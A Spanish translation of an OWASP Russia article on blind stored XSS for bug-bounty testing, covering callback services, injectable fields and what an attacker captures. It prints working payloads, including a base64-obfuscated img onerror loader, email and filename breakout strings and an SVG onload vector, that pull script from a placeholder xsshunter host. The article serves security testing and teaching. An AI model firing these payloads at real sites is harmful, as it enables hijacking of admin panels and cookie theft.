Simplicidad ciega

imagen

En este artículo hablaré sobre XSS ciego: este es un ataque bastante simple, pero a menudo muy efectivo en aplicaciones web. La operación de tales vectores de ataque conduce a la captura de paneles de administración de varios servicios, incluidos los gigantes de software.

UPD: parte de las cargas útiles del artículo trabajó en agregadores / analizadores Habr, tales cosas :)


Como funciona


En primer lugar, vale la pena señalar que XSS no es una vulnerabilidad, sino un tipo de ataque a los sistemas web. Consiste en introducir código malicioso en la página emitida por el sistema web (que se ejecutará en la computadora del usuario cuando él abra esta página) y su interacción con el servidor web del atacante. Existen varios tipos de XSS: almacenados, duplicados y DOM. En este artículo consideraremos solo XSS almacenados: son adecuados para fines de "penetración".

El esquema de ataque es el siguiente: el atacante coloca la carga maliciosa en la aplicación web, el código vulnerable ingresa a la base de datos y "dispara" en el panel de administración del proyecto.

imagen

A menudo, antes de que se active la carga útil, el atacante no sospecha dónde y cuándo "disparará". Según mi propia experiencia, puedo decir que las operaciones de carga útil tuvieron lugar de varios segundos a varios meses; acelerar este proceso es extremadamente problemático.

imagen

Donde funcionará la carga útil también es un factor importante. Sentir los puntos finales del XSS ciego es similar a disparar balas con un centro de gravedad desplazado. A veces, los paneles de administración se encuentran en subdominios pegadizos del formulario manage007.attacked.site o fuera del sitio probado, en una dirección IP como XXX.XXX.XXX.XXX/admin_panel/dashboard.php . O puede ser, por ejemplo, un sistema de análisis que generalmente está fuera de los límites de la empresa probada.

Puntos finales


Para obtener una "parada" de nuestra carga útil, necesitamos tener un punto final externo para interceptar. Para hacer esto, puede elevar su servicio e interceptar todas las llamadas, incluyendo encabezados que utilizan un lenguaje de programación aceptable para usted.

imagen

O puede usar las siguientes opciones (de su elección).

BurpCollaborator es un servicio externo especializado para usuarios de Burp Suite Pro:



Utilice los servicios,% name% bin, por ejemplo requestbin :



Aumente su propio servicio, por ejemplo, utilizando ezXSS :

imagen

O use xsshunter (recomendado para principiantes), un servicio para generar cargas útiles y obtener una "patada" de la carga útil activada (incluido el correo electrónico):



Cargas útiles


Entonces, encontramos el formulario de entrada en el sitio y queremos probar nuestra teoría de que los ciegos trabajarán en él. Para hacer esto, necesitamos preparar cargas útiles, incluso evitar el equipo de protección.

El servicio xsshunter ofrece varias cargas útiles ya preparadas para operar XSS ciego:

Carga útil de Uri:

javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)') 

Carga útil de IMG:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))> 

`` `` `` `` `Entre`

 var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a); 

Carga útil en el campo de correo electrónico:

 "'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com 



Trucos interesantes


Ahora considere los formularios de entrada más interesantes para implementar cargas útiles.
Correo electrónico : los ejemplos de implementación válidos se presentan anteriormente, ya sea que funcione o no, depende del tipo de aplicación web.

En el campo de contraseña , aquí podemos averiguar si la aplicación web almacena la contraseña en texto plano y si el administrador la vio.

Ayudantes en línea : a veces también se dispara aquí.

En los encabezados , sustituimos la carga útil en todos los encabezados que podemos controlar: árbitro, agente de usuario, etc.

Vectores Svg : cargar imágenes / avatares en forma de * .svg puede darnos la oportunidad de implementar nuestra carga útil (ejemplo) . SVG contiene carga útil:

 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" 

Campo de carga de archivos / nombre de archivo : podemos intentar descargar con el nombre:

 "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg 



Cancelar suscripción: campos para cancelar la suscripción, "Su opinión nos importa" y más. También es una forma muy prometedora para introducir la carga útil.

Encuestas : campo "otro / su opción de respuesta".

Captura


Al explotar este ataque, puede acceder al panel de control (con una configuración de seguridad inadecuada), captura de pantalla, estructura DOM, dirección IP de administrador, cookies, etc.

imagen

Este ataque le permite acceder a sistemas de soporte , paneles de administración y mucho más. Durante la participación en los programas Bug Bounty, se han acumulado bastantes capturas de pantalla interesantes que se obtuvieron durante tales ataques:



Casino en línea :



Auto.ru ( johndoe1492 ):



Microsoft ( johndoe1492 ):



El sistema utilizado por 150,000 compañías alrededor del mundo:



Hay muchas capturas de pantalla de este tipo; esto sugiere que los desarrolladores deben prestar especial atención no solo a la ventana de la aplicación web, sino también a su parte administrativa.

UPD: parte de las cargas útiles del artículo trabajó en agregadores / analizadores Habr, tales cosas :)





Este artículo fue preparado como parte del proyecto OWASP.
OWASP Rusia capítulo: OWASP Rusia
Chat de OWASP Rusia: https://t.me/OWASP_Russia
Canal OWASP Rusia: https://t.me/OWASP_RU

Source: https://habr.com/ru/post/450780/


All Articles